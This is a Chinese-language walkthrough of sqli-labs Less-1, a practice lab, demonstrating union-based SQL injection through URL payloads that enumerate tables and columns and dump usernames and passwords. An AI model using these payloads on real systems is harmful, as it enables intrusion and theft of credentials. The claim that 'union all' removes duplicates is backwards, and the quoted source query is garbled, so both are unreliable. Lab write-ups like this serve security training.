Sqlilabs-1

这是 Sqlilabs 注入练习的第一节:D
http://sqlilabs/Less-1/
Sqlilabs-1

提示我们构造 ID
http://sqlilabs/Less-1/?id=1

构造之后得到:

Sqlilabs-1

尝试往 id 后边输入 ’ ,表明可能存在 SQL 注入
http://sqlilabs/Less-1/?id=1'
Sqlilabs-1

可用 #(%27) 或者 --+ 省略后面字符,再次回显正常结果:
Sqlilabs-1

此处可以利用 order by,对前面的数据进行排序,观察临界值,临界值就是我们最多能够掌控的。
3 列时回显仍然正常,4 开始报错
http://sqlilabs/Less-1/?id=1' order by 3--+
http://sqlilabs/Less-1/?id=1' order by 4--+
Sqlilabs-1

由于可操控前三列,那就在这三列做文章,可结合 union 联合注入,union all 和 union 的区别就是 union all 增加了去重功能。在使用 union 时,当前一个语句为空时就会将后面的内容显示出来,可因此构造注入,注意将 1 改成了 -1
http://sqlilabs/Less-1/?id=-1' union select 1,2,3--+
Sqlilabs-1

接下来就可以爆数据库表:
http://sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
Sqlilabs-1

爆数据库列:
http://sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+
Sqlilabs-1

爆数据:
http://sqlilabs/Less-1/?id=-1' union select 1,2,(select group_concat(username,0x3a,password) from users) users--+
Sqlilabs-1

查看源码,可以知道源 SQL 语句为:
sql="SELECTFROMusersWHEREid=sql="SELECT * FROM users WHERE id=‘id’ LIMIT 0,1"
并没有对 id 进行任何过滤,所以一个单引号就引发了数据泄露

:D